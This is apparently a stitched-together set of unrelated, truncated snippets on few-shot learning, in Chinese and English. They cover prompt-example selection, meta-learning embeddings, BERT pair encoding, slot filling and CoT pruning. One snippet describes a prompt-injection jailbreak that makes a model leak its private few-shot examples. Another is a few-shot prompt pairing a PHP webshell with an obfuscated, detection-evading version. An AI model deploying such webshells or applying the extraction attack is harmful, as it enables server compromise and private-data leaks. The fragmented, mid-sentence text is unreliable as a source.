如果恶意用户使用如上图的提示注入越狱模型,让语言模型输出设定好的Few-Shot Example,就会造成数据泄漏,如果模型运行在有隐私信息的领域,例如医疗,法律等,就会造成严重的隐私泄漏。这导致将大模型投入到隐私数据领域,必须面临要么不使用ICL,承受结果较差并且不可控的结果,要么就顶着隐私数据泄漏的风险硬着头皮上线服务。
custom_settings (dict): 初始设定,包含人为给定的 few-shot example。 """ for sentence in sentences: with console.status("[bold bright_green] Model Inference..."): sentence_with_cls_prompt = CLS_PATTERN.format(sentence) #cls_res, _ = model.chat(tokenizer, sentence_with_cls_prompt, history...
few_shot_prompt=FewShotChatMessagePromptTemplate(input_variables=["input"],example_selector=example_selector,example_prompt=(HumanMessagePromptTemplate.from_template("中文:{input}")+AIMessagePromptTemplate.from_template("英文:{output}")),)final_prompt=(SystemMessagePromptTemplate.from_template("你是一...
Hereisan Few-shot Example: Original webshell sample: ```<?php assert($_POST['q']);?>``` Webshell obtained afterusingthe corresponding method: ```<?php $b= substr_replace("assexx","rt",4); $a= array($array = array(''=> $b($_POST['q']))); var_dump($a);?>``` Descrip...
Task-Invariant Embedding Model则是先在大规模相似数据集中学习一个通用的embeddingfunction,然后在测试的时候直接用于当前任务的训练集(few shot training set)和测试集(test example set)嵌入,并做相似性判别。代表网络有Match network。 Hybrid Embedding Model ...
本文采用pair-wise进行表征,即认为query example与support example一起表征可以获得相互之间的语义信息,而如果单独对query example进行表征则很难获得support set中的知识。 因此在对example进行表征时,每次喂入support example和query example并拼接起来喂入BERT模型中。
It is important to make sure the complexity grade is mapped between expected the input and the chosen example in the prompt. Ensure relevance: The examples selected should be directly relevant to the problem or objective at hand. This ensures consistency and uniformity in responses. Tip If the...
reasoning capabilities. Leveraging a coarse-to-fine pruning mechanism, CoT-Influx aims to maximize the input of effective and concise CoT examples within the confines of existing context windows. This approach allows f...
Notably, careful example selection enables GPT-3.5 models to outperform some GPT-4 models. However, among the GPT models, the June 2023 version of GPT-4, which is not the latest model, exhibits the highest stability and performance. Our findings provide insights into the importance of example ...
For the example shown in Fig. 1, intent information can guide the slot filling task: “Forrest Gump” is a “FilmName” in “PlayVideo” intent and is a “BookName” in “ReadBook” intent. Unfortunately, joint learning of two tasks becomes challenging in few-shot scenarios: on the one...